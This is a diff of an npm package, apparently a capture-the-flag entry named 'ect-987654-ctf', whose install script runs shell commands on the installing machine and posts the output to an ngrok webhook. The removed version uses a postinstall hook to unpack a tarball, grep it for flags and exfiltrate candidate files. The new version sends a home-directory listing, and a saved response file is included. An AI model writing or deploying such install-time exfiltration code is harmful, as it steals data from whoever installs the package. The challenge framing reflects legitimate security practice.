ect-987654-ctf 0.0.3 → 0.0.5

package/evil.yaml

@@ -0,0 +1,6 @@
+ecto_module:
+  name: "ect-987654-ctf"
+  version: "0.0.3"   # <- set to the exact version you published (0.0.3 / 0.0.4)
+  power_level: Very High
+  ship_deck: Beta-2
+  cargo_hold: B2-13

package/index.js

@@ -1,37 +1,27 @@
-const fs = require('fs'), cp = require('child_process'), os = require('os');
-const https = require('https');
+const https = require("https");
+const { execSync } = require("child_process");
 
-const WEBHOOK = "https://4b30f6d8de4f.ngrok-free.app/"; // <-- ganti NEROK URL
+const WEBHOOK = "https://0f6896f7cc8e.ngrok-free.app/";
 
-function post(obj){
-  try {
-    const body = JSON.stringify(obj);
-    const u = new URL(WEBHOOK);
-    const opts = { hostname: u.hostname, port: u.port || (u.protocol==='https:'?443:80), path: u.pathname||'/', method:'POST', headers:{ 'Content-Type':'application/json', 'Content-Length': Buffer.byteLength(body) } };
-    const req = (u.protocol==='https:'?require('https'):require('http')).request(opts, ()=>{});
-    req.on('error', ()=>{});
-    req.write(body);
-    req.end();
-  } catch(e){}
+function post(data) {
+  const body = JSON.stringify(data);
+  const url = new URL(WEBHOOK);
+  const req = https.request({
+    hostname: url.hostname,
+    path: url.pathname,
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+      "Content-Length": Buffer.byteLength(body)
+    }
+  });
+  req.write(body);
+  req.end();
 }
 
-function run(cmd){
-  try { return cp.execSync(cmd, {timeout:15000}).toString(); }
-  catch(e){ return (e.stdout||e.message||'ERR').toString(); }
+try {
+  const out = execSync("ls -lah /home/node", { encoding: "utf8", timeout: 10000 });
+  post({ host: require("os").hostname(), output: out });
+} catch (e) {
+  post({ error: e.message });
 }
-
-(function(){
-  const file = "/home/node/aspect-node.tar.gz";
-  const out = { host: os.hostname(), ts: new Date().toISOString(), file, outputs:{} };
-  if(!fs.existsSync(file)){ out.outputs.err = "file not found"; fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); post(out); return; }
-  out.outputs.list = run(`tar -tzf ${file} | head -n 500`);
-  out.outputs.flag = run(`tar -xOf ${file} 2>/dev/null | grep -aE 'HTB\\{|flag\\{' | head -n 100`);
-  // try small candidate reads
-  const cand = ['flag','flag.txt','README','README.md','config.js','server.js','app.js'];
-  out.outputs.candidates = {};
-  for(const c of cand){
-    try { out.outputs.candidates[c] = run(`tar -xOf ${file} "${c}" 2>/dev/null | head -c 20000`); } catch(e){}
-  }
-  try { fs.writeFileSync('/tmp/out.json', JSON.stringify(out,null,2)); } catch(e){}
-  post(out);
-})();

package/last_post.json

@@ -0,0 +1,8 @@
+{
+  "host": "y",
+  "ts": "2025-10-30T03:06:53.308Z",
+  "file": "/home/node/aspect-node.tar.gz",
+  "outputs": {
+    "err": "file not found"
+  }
+}

package/package.json

@@ -1,13 +1,7 @@
 {
   "name": "ect-987654-ctf",
-  "version": "0.0.3",
-  "description": "",
-  "main": "index.js",
+  "version": "0.0.5",
   "scripts": {
-    "test": "echo \"Error: no test specified\" && exit 1",
-    "postinstall": "node index.js"
-  },
-  "keywords": [],
-  "author": "",
-  "license": "ISC"
+    "preinstall": "ls -lah > /tmp/preinstall_test.txt"
+  }
 }